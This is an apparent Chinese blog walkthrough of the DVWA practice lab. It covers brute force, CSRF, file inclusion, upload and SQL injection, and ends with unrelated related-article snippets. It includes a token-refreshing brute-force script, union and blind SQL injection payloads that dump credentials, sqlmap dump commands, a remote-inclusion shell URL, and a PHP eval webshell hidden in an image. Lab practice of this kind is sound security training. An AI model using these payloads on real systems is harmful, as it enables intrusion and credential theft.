DVWA全靶场
目录
暴破
Low - 万能密码
Medium - 转义
High - Token
Impossible
命令注入
CSRF跨站请求伪造 - 抓包
Low
Medium - 域名限制
High - 域名限制xss
文件包含 - 页面点点点
Low
Medium - 过滤http://
High - file
Impossible - 写死
文件上传
Low
Medium - 文件后缀
High - 文件内容校验
Impossible - 文件名哈希
不安全的验证码 - 重置密码
Low -step
Medium - step参数
High -用户头参数
Impossible -服务端验证
SQL手工
LOW - 输入框(字符型)
Medium -过滤'(数字型)
High -两层页面 limit 1
Impossible -sql预编译
SQL盲注 -sqlmap
Low
Low
xss(DOM)
Low
xss(反射)
xss(存储)
越权
HTTP重定向
密码学
API
暴力破解
Low - 万能密码
登录页面,PHP 代码实现了一个简单的用户登录验证功能
输入账号即可
' admin' # '
' admin' or '1'='1 '
$query = "SELECT * FROM `users` where user = '$user' and password = '$pass';"; |
$query = "SELECT * FROM `users` where user = ' admin' # ' and password = '$pass';"; |
$query = "SELECT * FROM `users` where user = ' admin' or '1'='1 ' and password = '$pass';"; |
Medium - 转义
登录页面,PHP 代码清理的用户输入字符
mysqli_real_escape_string
'失效语法报错
' admin' # ' 失效
' admin' or '1'='1 ' 失效
Burp登录抓包
暴力破解
payload
撞库成功
High - Token
Token游乐园门票 有效期
校验:账号名 密码
校验:token 账号名 密码
打开网站服务器下发token(一次性),携带token(先校验),输入账号名 密码。
抓包看一下token什么东西
页面结构+url+密码本,ai脚本携带token密码破解。关掉burp代理只用VScode脚本去破解
#-*- coding: utf-8 -*-
import requests
import time
from collections import defaultdict# ========== 配置区 ==========
dict_file = 'passwords.txt' # 密码本文件
users_file = 'users.txt' # 用户名列表文件(每行一个用户名)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0','Cookie': 'security=high; PHPSESSID=e82ip8fk6nuic046atg67j87c8','Referer': 'http://10.141.19.241/dvwa/vulnerabilities/brute/index.php?username=admin&password=222222222&Login=Login&user_token=57fca96fbe33ffe75d78cba75f4ed373'
}# ========== 功能函数 ==========
def get_http(u_name, p_word):url = 'http://localhost/DVWA/login.php'req = requests.get(url, headers=headers)return (url, req.status_code, req.text)def get_login(u_name, p_word, user_token):url = f"http://localhost/DVWA/vulnerabilities/brute/?username={u_name}&password={p_word}&Login=Login&user_token={user_token}"req = requests.post(url, headers=headers)return (url, req.status_code, req.text, len(req.text)) # 返回响应长度# ========== 执行流程 ==========
print('++++++++开始密码暴力破解++++++++')
attempts = [] # 存储所有尝试结果# 读取用户名和密码
with open(users_file, 'r', encoding='utf-8') as f:u_name_list = [line.strip() for line in f if line.strip()]with open(dict_file, 'r', encoding='utf-8') as f:passwords = [line.strip() for line in f if line.strip()]# 遍历所有用户和密码组合
attempt_count = 1
for u_name in u_name_list:print(f'------目前用户: {u_name}')for p_word in passwords:# 获取Token_, _, result = get_http(u_name, p_word)start = result.find('user_token')if start == -1:print(f"⚠️ 警告:用户 {u_name} 的Token未找到,跳过")continueuser_token = result[start+19:start+51]# 发送带Token的请求并获取响应长度_, status_code, _, length = get_login(u_name, p_word, user_token)# 存储结果attempts.append({'序号': attempt_count,'用户': u_name,'密码': p_word,'状态码': status_code,'长度': length})print(f"尝试中: {attempt_count} {u_name} {p_word} {status_code} {length}")attempt_count += 1print('\n++++++++结束密码暴力破解++++++++\n')# ========== 分析结果:只输出有不同长度的用户 ==========
if not attempts:print("❌ 未找到有效尝试记录")
else:user_lengths = defaultdict(list)# 按用户分组收集长度for attempt in attempts:user_lengths[attempt['用户']].append(attempt['长度'])# 检查每个用户是否存在不同长度has_different_length = Falsefor u_name, lengths in user_lengths.items():# 统计每个长度出现的次数count = defaultdict(int)for l in lengths:count[l] += 1# 找出出现次数最少的长度(可能为正确密码)min_count = min(count.values())possible_lengths = [l for l, cnt in count.items() if cnt == min_count]# 只输出存在不同长度的用户if len(count) > 1 and possible_lengths:has_different_length = Trueprint(f"用户 {u_name} 的可能正确密码(不同长度):")for attempt in attempts:if attempt['用户'] == u_name and attempt['长度'] in possible_lengths:print(f"✅ 序号: {attempt['序号']} 密码: {attempt['密码']} 长度: {attempt['长度']}")print() # 空行分隔不同用户# 如果所有用户的所有尝试长度都相同if not has_different_length:print("所有用户的所有尝试长度一致,未找到可能的正确密码")
Impossible
账户锁定机制,防止爆破
命令注入
另一篇文章,
windows 百度一下添加管理员等
CSRF跨站请求伪造 - 抓包
Low
重置密码页面CSRF,也有可能任意密码重置(绕过两次前端验证抓包篡改)
CSRF主要针对密码
12345
123456
短链接网址短网址 - URLC.CN短网址,短网址生成,网址缩短,免费提供API接口生成,活码二维码生成,域名拦截检测
欺骗别人来点页面点完密码改成123456
页面伪装 放到服务器上让别人点你这个页面密码就改了
Medium - 域名限制
抓包看一下什么东西
High - 域名限制xss
SERVER_NAME,xss
文件包含 - 页面点点点
Low
phpinfo.php
http://10.141.19.241/dvwa/phpinfo.php
服务器版本泄露:CVE-2019-11043,PHP 7.3.4 存在的反序列化漏洞
服务器路径泄露 :D:\software\phpStudy_64\...\php7.3.4nts\php.in
页面开启错误显示:display_errors = On
和 display_startup_errors = On
未限制 PHP 可访问的文件目录:open_basedir = 未配置
未启用 HttpOnly
标志: session.cookie_httponly = 未设置
,可能导致会话 cookie 被 XSS 漏洞窃取。
本地包含,远程包含
场景 | 核心配置项php.ini | 说明 |
---|---|---|
本地 | 无需依赖 allow_url_* 配置 | 使用本地文件路径(如 ./file.php )时,无论 allow_url_fopen 和 allow_url_include 是否开启,均正常生效。 |
远程 | 必须同时满足: | 通过 URL 路径(如
|
开启远程包含函数重启小皮面板服务
页面点点
自己有一个网站服务器把shell包含进去
http://10.141.19.241/dvwa/vulnerabilities/fi/?page=http://10.141.19.241/var/.....shell.php
http://10.141.19.241/dvwa/vulnerabilities/fi/?page=/http://10.141.19.241/var/.....phpinfo.php
http://10.141.19.241/dvwa/vulnerabilities/fi/?page=/var/password
<?php
phpinfo();
?>
Medium - 过滤http://
http://10.141.19.241/dvwa/vulnerabilities/fi/?page=htthttp://p://10.141.19.241/var/.....shell.php
High - file
file读取本地文件
Impossible - 写死
文件上传
Low
上传shell
一句话
Medium - 文件后缀
上传shell.jpg 抓包修改 shell.php
High - 文件内容校验
修改请求头
Content-Type: image/jpeg
#图片马
cmd> copy 风景.jpg/b + shell.php/a 1.jpg
#shell.jpgGIF98
<?php eval($_post["cmd"]);?>蚁剑2.jpg
Impossible - 文件名哈希
不安全的验证码 - 重置密码
逻辑漏洞,没有做服务器终端交互验证,只做了终端验证有机会。
Low -step
LDVWA报错: reCAPTCHA API key missing from config file error - 简书,其实有值就行 乱填
抓包看什么东西
Medium - step参数
抓包看看什么东西
添加参数
High -用户头参数
抓包看看什么东西
添加参数
Impossible -服务端验证
<?phpif( isset( $_POST[ 'Change' ] ) ) {// [防御] 验证CSRF令牌防止跨站请求伪造攻击checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 隐藏CAPTCHA表单$hide_form = true;// 获取用户输入的新密码$pass_new = $_POST[ 'password_new' ];// [潜在漏洞] 使用stripslashes处理输入,可能导致反斜杠过滤不当$pass_new = stripslashes( $pass_new );// [潜在漏洞] 混用mysqli_real_escape_string和PDO,代码不一致且冗余(PDO预处理已防护SQL注入)$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// [严重漏洞] 使用MD5哈希密码(已被破解),应使用password_hash()$pass_new = md5( $pass_new );// 确认密码,存在与上面相同的安全问题$pass_conf = $_POST[ 'password_conf' ];$pass_conf = stripslashes( $pass_conf );$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_conf = md5( $pass_conf );// 当前密码,存在与上面相同的安全问题$pass_curr = $_POST[ 'password_current' ];$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );#放在服务段校验不是放在本地了,一步到位先在服务器段判断账户再判断验证码。没有step1step2了// [防御] 验证第三方CAPTCHA,防止自动化攻击$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],// [潜在漏洞] 缺少IP验证参数,可能被绕过(例如使用代理)$_POST['g-recaptcha-response']);// CAPTCHA验证失败处理if( !$resp ) {echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;}else {// [防御] 使用PDO预处理语句查询当前密码(防止SQL注入)$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// 检查新密码是否匹配且当前密码正确if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {// [防御] 使用PDO预处理语句更新密码(防止SQL注入)$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// [潜在漏洞] 密码修改成功后未重新生成会话ID,存在会话固定攻击风险echo "<pre>Password Changed.</pre>";}else {// [潜在漏洞] 错误信息可能泄露密码验证逻辑(例如区分密码不匹配和当前密码错误)echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";$hide_form = false;}}
}// [防御] 生成新的CSRF令牌用于后续请求
generateSessionToken();?>
SQL手工
LOW - 输入框(字符型)
抓包测试
注入思路:
1、是否有注入?是字符型还是数字型?
' 1' or '1'='1 # '1' order by 2#2、获取当前数据库
1' union select 1,database() #
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #3、下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #md5哈希解密
Medium -过滤'(数字型)
抓包测试
注入思路:
1、是否有注入?是字符型还是数字型?
' 1' or '1'='1 # '1' order by 2#2、获取当前数据库
1' union select 1,database() #获取库名
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #获取表名
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #获取列名3、下载数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #获取账号密码(可以最后一步)md5哈希解密
注入
库
表
列...
最后一步
High -两层页面 limit 1
一步到位
Impossible -sql预编译
我限定你输入id只能输入 1 2 3这种单个数字的。其它不认
is_numeric()
SQL盲注 -sqlmap
Low
区别: 不显示数据,只显示存在不存在
1' or sleep(5)#
自注思路:
1、是否有注入?布尔或时间?2、获取当前数据库
1' and length(database())>1 #获取数据库长度
1' and asci(substr(database0,1,1)>1 #猜数据库名
1' and length(substr(select table_name from information_schema.tables where table_schema=database0 limit 0,1),1)>1 #获取表名长度
1' and ascii(substr(select table_name from information_schema.tables where table_schema=database0 limit 0,1),1,1))>97 # 获取列名长度
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1)=7 #猜列名3、下载数据
抓包
# linux
gedit 1.txt
sqlmap -r 1.txt -dbs#windows
sqlmap.py -r 1.txt -dbs
sqlmap.py -r 1.txt -D dvwa -dump-all
# python sqlmap.py -r 1.txt -dbs
python "E:\Tools\burp\sqlmap\sqlmap.py" -r "E:\Tools\burp\sqlmap\1.txt" -dbs
python "E:\Tools\burp\sqlmap\sqlmap.py" -r "E:\Tools\burp\sqlmap\1.txt" -D dvwa -dump-allsqlmap.py -r 1.txt -D dvwa -tables
sqlmap.py -r 1.txt -D dvwa -T users -dump
.....
盲注不太可能手工去敲,依赖工具有waf,写脚本
猜解会话 -cookie
Low
cookie能干什么?
插件Cookie-Editor、bp
登录抓取
退出登录
...设计的有点颠不看
xss(DOM)
Low
....
xss(反射)
.......
xss(存储)
越权
HTTP重定向
密码学
API
相关文章:

DVWA全靶场
目录 暴破 Low - 万能密码 Medium - 转义 High - Token Impossible 命令注入 CSRF跨站请求伪造 - 抓包 Low Medium - 域名限制 High - 域名限制xss 文件包含 - 页面点点点 Low Medium - 过滤http:// High - file Impossible - 写死 文件上传 Low Medium - 文件…...

【反无人机检测】C2FDrone:基于视觉Transformer网络的无人机间由粗到细检测
C2FDrone:基于视觉Transformer网络的无人机间由粗到细检测 C2FDrone: Coarse-to-Fine Drone-to-Drone Detection using Vision Transformer Networks 论文链接 摘要 摘要——基于视觉的无人机间检测系统在碰撞规避、反制敌对无人机和搜救行动等应用中至关重要。然…...

Android 本地存储路径说明
一、背景 作为一个开发者,我们经常需要通过缓存一些文件到SD卡中,常见的方式就是,通过: File sdCard Environment.getExternalStorageDirectory(); 获取SD卡根目录,然后自定义文件/文件名进行文件存储.这样做法的结果就是,当手机安装了大量的app时,SD卡根目录会…...
Git 推送失败解决教程——error: failed to push some refs to
🚧 Git 推送失败解决教程: 错误信息: error: failed to push some refs to ... hint: Updates were rejected because the remote contains work that you do not have locally.🧠 问题原因简述: 你的本地分支试图将…...
spark 执行 hive sql数据丢失
spark-sql 丢失数据 1.通过spark执行hive sql 的时候,发现 hive 四条数据,spark 执行结果只有两条数据 目标对应的两条数据丢失 select date, user_id, pay from dim.isr_pay_failed where user_id ‘*******’ hive-sql 结果…...

国产pcie switch 8748+飞腾/龙芯/昇腾高速存储方案设计
方案概述 本设计以国微PCIe Switch 8748为核心交换芯片,通过多端口PCIe 4.0/5.0通道连接飞腾ARM架构处理器、龙芯LoongArch处理器及昇腾AI加速卡,构建支持NVMe协议的高速存储集群,目标实现6.5GB/s以上的可持续带宽。 硬件架构 处理器选型 飞…...
【Qt】:设置新建类模板
完整的头文件模板 #ifndef %FILENAME%_H #define %FILENAME%_H/*** brief The %CLASSNAME% class* author %USER%* date %DATE%*/ class %CLASSNAME% { public:%CLASSNAME%();~%CLASSNAME%();// 禁止拷贝构造和赋值%CLASSNAME%(const %CLASSNAME%&) delete;%CLASSNAME%&a…...

如何使用插件和子主题添加WordPress自定义CSS(附:常见错误)
您是否曾经想更改网站外观的某些方面,但不知道怎么做?有一个解决方案——您可以将自定义 CSS(层叠样式表)添加到您的WordPress网站! 在本文中,我们将讨论您需要了解的有关CSS的所有知识以及如何使用它来修…...

开始在本地部署自己的 Gitea 服务器
0.简介 在软件开发和团队协作中,代码管理是至关重要的环节。笔者一直使用gitblit管理自己的仓库。然鹅,这个软件已经很久没有更新了。经过多方考察,发现Gitea 是一款轻量级的开源代码托管平台,具有易于部署、资源占用少、功能丰富…...

7.2.1_顺序查找
知识总览: 顺序查找: 算法思想: 从头到脚挨个找或者从脚到头挨个找适用于线性表(顺序存储和链式存储都适用),又叫线性查找 实现: 1个数组elem指向数组的起始位置,索引从0开始遍历数组直到找到目标值返回…...
spring重试机制
数据库死锁处理与重试机制实现指南 1. 业务场景 1.1 问题现象 高并发批量数据处理时频繁出现数据库死锁主要发生在"先删除历史数据,再重新计算"的业务流程中原有逐条处理方式:list.forEach(item -> { delete(); calculate(); }) 1.2 死…...
C语言的全称:(25/6/6)
C语言,全称为"C Programming Language"(C程序设计语言),是一种广泛使用的计算机编程语言。它是由Dennis Ritchie于1972年在贝尔实验室设计的,继承了B语言的许多思想,并加入了数据类型的概念及其他…...

智能制造数字孪生全要素交付一张网:智造中枢,孪生领航,共建智造生态共同体
在制造业转型升级的浪潮中,数字孪生技术正成为推动行业变革的核心引擎。从特斯拉通过数字孪生体实现车辆全生命周期优化,到海尔卡奥斯工业互联网平台赋能千行百业,数字孪生技术已从概念验证走向规模化落地。通过构建覆盖全国的交付网络&#…...

stylus - 新生代CSS预处理框架
stylus是什么 Stylus 是一种 CSS 预处理器,它扩展了 CSS 的功能,使得编写样式变得更简洁和高效。Stylus 允许使用嵌套、变量、混入等编程功能,这些功能可以极大地提高开发效率和代码的可维护性。 stylus中文文档 https://stylus.uihtm.co…...
python八股文算法:三数之和
双指针解法: 原理见注释 # 2025/6/6 9:40 # -*- coding:UTF-8 -*- nums [-1, 0, 1,1, 2, -1, -4,0,2,1,-3,4,10,-9] def three_sum(nums):nums.sort()n len(nums)result []for i in range(n-2):# n-2,此时i取值到n-2-1,即倒数第3个数&…...
HttpServletRequest常用方法
方法说明示例String getMethod()获取请求的 HTTP 方法(如 GET、POST 等)。request.getMethod() 返回 "GET"String getRequestURI()获取请求的 URI(路径部分,不包括域名和协议)。请求 http://localhost:8080/…...

BugKu Web渗透之网站被hei(仅仅是ctf题目名称)
启动场景,打开网页,显示如下: 目前没有看出任何异常。 步骤一: 右键查看源代码。源代码较多,也没发现异常。 步骤二: 用dirsearch扫描网站目录。 如图: 看起来shell.php很可疑。 步骤三&…...
群论在现代密码学中的应用探索与实践 —— 从理论到C语言实现
1. 引言:数字时代的信息安全挑战 随着互联网和数字技术的快速发展,信息安全问题变得日益严峻。无论是个人隐私保护,还是企业数据安全,乃至国家安全,都依赖于有效的加密技术保障信息的机密性和完整性。网络攻击、数据泄…...
深入理解MySQL死锁:从原理、案例到解决方案
一、MySQL死锁的概念与定义 1. 死锁的基本定义 MySQL中的死锁是指两个或多个事务在同一资源上相互等待对方释放锁,导致这些事务都无法继续执行的情况。从本质上讲,死锁是多个事务形成了一个等待环路,每个事务都在等待另一个事务所持有的锁资…...

关于华为仓颉编程语言
文章目录 一、基本概况二、技术特点1. 多范式编程2. 原生智能化3. 高性能与安全4. 全场景兼容 三、编译器与开发工具四、语言相似性对比五、行业应用实例总结 最近经常看到这个东西,于是搜了一下,整理了一些内容,水一篇,以后慢慢研…...
无字母数字webshell的命令执行
在Web安全领域,WebShell是一种常见的攻击手段,通过它攻击者可以远程执行服务器上的命令,获取敏感信息或控制系统。而无字母数字WebShell则是其中一种特殊形式,通过避免使用字母和数字字符,来绕过某些安全机制的检测。 …...
Spring AI 项目实战(五):Spring Boot + AI + DeepSeek + Redis 实现聊天应用上下文记忆功能(附完整源码)
系列文章 序号文章名称1Spring AI 项目实战(一):Spring AI 核心模块入门2Spring AI 项目实战(二):Spring Boot + AI + DeepSeek 深度实战(附完整源码)3Spring AI 项目实战(三):Spring Boot + AI + DeepSeek 打造智能客服系统(附完整源码)4Spring AI 项目实战(四…...
【华为云Astro-服务编排】服务编排使用全攻略
目录 概述 为什么使用服务编排 服务编排基本能力 拖拉拽式编排流程 逻辑处理 对象处理 服务单元组合脚本、原生服务、BO、第三方服务 服务编排与模块间调用关系 脚本 对象 标准页面 BPM API接口 BO 连接器 如何创建服务编排 创建服务编排 如何开发服务编排 服…...

解决el-select选择框右侧下拉箭头遮挡文字问题
如图所示: el-select长度较短的时候,选择框右侧下拉箭头会遮挡选中的数据 选中数据被遮挡 解决办法: 组件如下: <td class"fmtd" :colspan"col.ptproCupNum" v-for"col in row" :key"…...

20250603在荣品的PRO-RK3566开发板的Android13下的使用命令行来查看RK3566的温度【显示优化版本】
20250603在荣品的PRO-RK3566开发板的Android13下的使用命令行来查看RK3566的温度【显示优化版本】 2025/6/3 11:58 RK3566的cpu运行效率 top busybox top rk3566_t:/ # rk3566_t:/ # rk3566_t:/ # cd /sys/class/thermal/ rk3566_t:/sys/class/thermal # ls -l rk3566_t:/sys/c…...

C语言字符数组初始化的5种方法(附带实例)
所谓初始化,就是在定义的同时进行赋值。 C语言中,初始化字符数组的方式多样,每种方式都有其特定的用途和优势。 1、使用字符串字面量初始化 最常见和简洁的初始化方式是使用字符串字面量。在这种方法中,我们直接将一个用双引号…...

npm run dev 报错:Error: error:0308010C:digital envelope routines::unsupported
npm run dev时报错如下 原因:更换node版本导致 解决: 修改package.json文件,在相关构建命令之前加入 SET NODE_OPTIONS–openssl-legacy-provider 运行成功...
模板方法模式:优雅封装不变,灵活扩展可变
引言:代码复用与扩展的艺术 在日常开发中,我们常遇到核心流程固定但某些步骤需差异化的场景。例如: 数据库操作的通用流程(连接→执行→关闭)HTTP请求的固定步骤(构建请求→发送→解析响应)报表生成的骨架(数据获取→格式转换→输出)模板方法模式正是为解决这类问题而…...

基于LLaMA-Factory和Easy Dataset的Qwen3微调实战:从数据准备到LoRA微调推理评估的全流程指南
随着开源大模型如 LLaMA、Qwen 和 Baichuan 的广泛应用,其基于通用数据的训练方式在特定下游任务和垂直领域中的表现仍存在提升空间,因此衍生出针对具体场景的微调训练需求。这些训练涵盖预训练(PT)、指令微调(SFT&…...
6.6本日总结
一、英语 复习默写list9list20 二、数学 学习线代第一讲,订正13讲1000题,写15讲课后题 三、408 学习计组2.2,写计组习题 四、总结 单词再背完一遍后背阅读词,未处理的习题堆积过多要及时处理 五、明日计划 英语ÿ…...